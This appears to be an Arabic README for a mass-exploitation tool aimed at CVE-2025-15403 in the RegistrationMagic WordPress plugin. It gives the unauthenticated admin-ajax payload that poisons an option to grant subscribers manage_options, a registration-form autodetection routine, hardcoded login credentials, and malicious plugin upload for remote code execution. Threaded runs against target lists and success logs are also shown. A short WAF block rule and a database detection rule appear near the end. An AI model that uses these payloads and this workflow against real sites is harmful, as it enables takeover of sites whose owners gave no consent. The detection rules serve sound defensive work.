// مسجلة بدون فحص صلاحية
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← يتحكم به المستخدم، غير منسَّق
    $role_key = /* مستخرج من POST */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // يخزن ترتيبًا يتحكم به المهاجم في خيارات الإضافة
        update_option('rm_admin_order', $order);  // مثلا ",menu1" → سلاش فارغ أول
    }
}

// لاحقًا، عند بناء قائمة المشرف...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← مسموم من المهاجم
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // السلاش الفارغ يؤدي إلى منح صلاحية غير مشروطة
            $role->add_cap('manage_options');  // ← تمت إضافة صلاحية إدارية كاملة
        }
    }
}

╔══════════════════════════════════════════════════════════════════════════╗
║  المرحلة 1 — تسميم الخيار بدون مصادقة                                   ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← عنصر أول فارغ = سلاش فارغ
  _Subscriber       = 1                  ← مفتاح الدور المستهدف
  restore           = false
  enable_admin_order= yes

الرد: HTTP 200 (أي رد غير محظور يعني أن الخيار قد سُمّم)

  ↓ تقوم الإضافة بتخزين order=",menu1" في wp_options
  ↓ بناء قائمة المشرف التالي يؤدي إلى استدعاء add_cap('manage_options') على دور المشترك

╔══════════════════════════════════════════════════════════════════════════╗
║  المرحلة 2 — الحصول على حساب (مشترك)                                     ║
╚══════════════════════════════════════════════════════════════════════════╝

الخيار أ — التسجيل عبر نموذج تسجيل الموقع (الوضع 0):
  GET  /wp-login.php?action=register  → كشف ذكي للنموذج
  POST → إنشاء حساب مشترك
  بيانات الدخول: NXploited / xplpass123

الخيار ب — استخدام حساب مشترك موجود.

╔══════════════════════════════════════════════════════════════════════════╗
║  المرحلة 3 — تسجيل الدخول + جني الصلاحيات                                ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
حساب المشترك الآن يحمل manage_options → لوحة تحكم المسؤول الكاملة متاحة

╔══════════════════════════════════════════════════════════════════════════╗
║  المرحلة 4 — تحقق عميق وتنفيذ أكواد (RCE) عبر رفع إضافة                  ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → لوحة تحكم المسؤول متاحة ✔️
GET  /wp-admin/plugin-install.php        → صفحة تثبيت الإضافات متاحة ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → تم رفع وتنفيذ الإضافة ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     الرد يحتوي على "Nxploited"         → تأكيد تنفيذ الأكواد (RCE) ✔️

pip install requests colorama urllib3

CVE-2025-15403/
├── CVE-2025-15403.py                 # مجموعة الاستغلال الرئيسية
├── list.txt                          # عناوين URL المستهدفة — عنوان واحد لكل سطر
│
├── rm_register_results.txt           # الوضع 0: عمليات التسجيل الناجحة
├── rm_exploit_results.txt            # الوضعين 1 & 2: سجل إطلاق البدائية
├── rm_admin_verify.txt               # الوضع 2: سجل الدخول + التحقق من المسؤول
├── rm_plugin_uploads.txt             # الوضع 2: سجل محاولات رفع الإضافات
│
├── rm_admin_dashboard_success.txt    # ✔ المواقع التي تم تأكيد لوحة تحكم المسؤول فيها
├── rm_plugin_install_access.txt      # ✔ المواقع التي يمكن الوصول لصفحة تثبيت الإضافات فيها
└── rm_plugin_rce_success.txt         # ✔ المواقع التي تم تأكيد RCE عبر رفع إضافة فيها

https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com

python CVE-2025-15403.py

Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes

[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK   | REG: SKIP | LOGIN: OK   | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK   | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: -    | ACCESS: NO HIT

[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard

[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access

[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload

المرحلة 1 — لوحة تحكم المسؤول
  GET /wp-admin/
  GET /wp-admin/index.php
  GET /wp-admin/users.php
  التحقق من وجود: "dashboard", "adminmenu", "manage_options", "plugins.php"
  ✔ → يكتب إلى rm_admin_dashboard_success.txt

المرحلة 2 — الوصول لصفحة تثبيت الإضافات
  GET /wp-admin/plugin-install.php
  GET /wp-admin/plugin-install.php?tab=upload
  التحقق من وجود: "upload-plugin", "plugin-upload-form", "pluginzip"
  ✔ → يكتب إلى rm_plugin_install_access.txt

المرحلة 3 — رفع وتنفيذ إضافة حقيقية (إثبات RCE)
  استخراج _wpnonce من صفحة تثبيت الإضافات
  POST /wp-admin/update.php?action=upload-plugin
       pluginzip = Nxploited.zip (مُولّد في الذاكرة)
  GET  /wp-content/plugins/Nxploited/hello.php
  التحقق من أن جسم الرد يحتوي على "Nxploited"
  ✔ → يكتب إلى rm_plugin_rce_success.txt

عناوين URL الاستكشافية (بالترتيب):
  /wp-login.php?action=register
  /register/
  /signup/
  /wp-signup.php
  /wp-login.php

لكل صفحة:
  → تحليل جميع عناصر <form>
  → تسجيل نقاط لكل نموذج (0–200 نقطة):
      +100  وجود حقلي "user_login" و "user_email"
      + 60  وجود حقول شبيهة بالبريد الإلكتروني واسم المستخدم
      + 30  حقول إدخال مسبوقة بـ rm_* (خاصة بـ RegistrationMagic)
      + 20  id/class النموذج يحتوي على "register" / "signup"
      + 10  نص الصفحة يذكر "register" / "sign up"
  → إرسال النموذج الأعلى نقاطًا (الحد الأدنى: 40+)
  → التحقق من النجاح عبر جسم الرد / عنوان URL إعادة التوجيه

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes

IF  request.method == POST
AND request.path   == "/wp-admin/admin-ajax.php"
AND request.body   CONTAINS "rm_user_exists"
AND request.body   CONTAINS "rm_options_admin_menu"
AND request.body   CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (محاولة تصعيد صلاحيات — CVE-2025-15403)

مراقبة جدول wp_options:
  IF option_name = "rm_admin_order"
  AND option_value يبدأ بـ ","
  THEN تنبيه — احتمال استغلال CVE-2025-15403

هذه الأداة مقدمة بدقة لأغراض تعليمية واختبار الاختراق المصرح به
والبحث الأمني فقط.

بتنزيل أو تنفيذ أو تعديل هذا السكريبت، فإنك توافق صراحة على:

  • أنك تحمل إذنًا صريحًا وخطيًا من مالك كل نظام تستهدفه.
    لا استثناءات. لا افتراضات.

  • أنك تعمل ضمن نطاق رسمي ومصرح به لاختبار الاختراق
    أو بيئة مختبر خاضعة للرقابة تمتلكها.

  • أنك لن تنشر هذه الأداة ضد أي نظام أو شبكة أو
    بنية تحتية دون إذن قانوني موثق.

  • Nxploited وجميع المساهمين لا يتحملون أي مسؤولية عن
    الاستخدام غير المصرح به، أو فقدان البيانات، أو تلف النظام، أو الإجراءات القانونية، أو الملاحقة الجنائية
    الناشئة عن استخدام هذه الأداة بأي شكل من الأشكال.

الاستخدام غير المصرح به لهذا الاستغلال يشكل جريمة جنائية بموجب:
  — قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، الولايات المتحدة
  — قانون إساءة استخدام الحاسوب (CMA)، المملكة المتحدة
  — توجيه الاتحاد الأوروبي 2013/40/EU بشأن الهجمات ضد نظم المعلومات
  — قانون مكافحة الجرائم الإلكترونية السعودي (رقم م/17)
  — وجميع التشريعات الوطنية والدولية المكافئة لمكافحة الجرائم الإلكترونية.

استخدم بمسؤولية. اخترق أخلاقيًا. افصح بمسؤولية.